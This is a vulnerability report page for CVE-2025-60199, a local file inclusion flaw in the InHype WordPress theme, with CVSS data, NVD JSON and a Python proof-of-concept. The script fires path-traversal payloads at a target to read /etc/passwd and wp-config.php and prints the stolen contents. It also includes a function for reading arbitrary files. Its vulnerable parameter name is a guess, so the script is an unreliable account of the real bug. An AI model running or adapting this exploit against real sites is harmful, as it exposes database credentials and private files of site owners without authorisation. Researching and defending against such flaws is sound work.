Security Vulnerability Report
中文
CVE-2025-60199 CVSS 8.1 HIGH

CVE-2025-60199

Published: 2025-11-06 16:16:05
Last Modified: 2026-04-27 16:16:33

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in dedalx InHype - Blog & Magazine WordPress Theme inhype allows PHP Local File Inclusion.This issue affects InHype - Blog & Magazine WordPress Theme: from n/a through <= 1.5.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

InHype Theme <= 1.5.2
InHype Theme (所有版本 n/a)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60199 PoC - InHype WordPress Theme Local File Inclusion # Author: Security Research Team # Note: This PoC is for educational and authorized testing purposes only import requests import sys from urllib.parse import quote TARGET_URL = "http://target-site.com/" VULN_PARAM = "theme_file" # Common parameter name, verify with actual testing def test_lfi(target_url, param_name): """ Test for Local File Inclusion vulnerability in InHype theme """ # Common sensitive files to test test_files = [ "../../../../../../etc/passwd", "../../../../../../wp-config.php", "../../../../../../etc/hosts", "../../../wp-config.php", "../../../../var/www/html/wp-config.php" ] print(f"[*] Testing LFI vulnerability on {target_url}") print(f"[*] Target parameter: {param_name}") print("-" * 60) for test_file in test_files: try: encoded_path = quote(test_file, safe='') params = {param_name: encoded_path} response = requests.get(target_url, params=params, timeout=10) # Check for successful file inclusion if response.status_code == 200: content = response.text # Verify file content was actually included if "root:" in content or "DB_NAME" in content or "localhost" in content: print(f"[!] VULNERABLE! Successfully included: {test_file}") print(f"[+] File content preview:") print(content[:500]) print("-" * 60) return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {test_file}: {e}") print("[*] No obvious LFI found with standard tests") print("[*] Manual testing may be required with specific parameters") return False def exploit_lfi(target_url, param_name, file_path): """ Exploit the LFI vulnerability to read arbitrary files """ print(f"[*] Attempting to read: {file_path}") encoded_path = quote(file_path, safe='') params = {param_name: encoded_path} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] File content:") print(response.text) else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Basic usage example test_lfi(TARGET_URL, VULN_PARAM) # Example: Read wp-config.php # exploit_lfi(TARGET_URL, VULN_PARAM, "../../../../../../wp-config.php")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60199", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:05.267", "lastModified": "2026-04-27T16:16:32.980", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in dedalx InHype - Blog & Magazine WordPress Theme inhype allows PHP Local File Inclusion.This issue affects InHype - Blog & Magazine WordPress Theme: from n/a through <= 1.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/inhype/vulnerability/wordpress-inhype-blog-magazine-wordpress-theme-theme-1-5-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}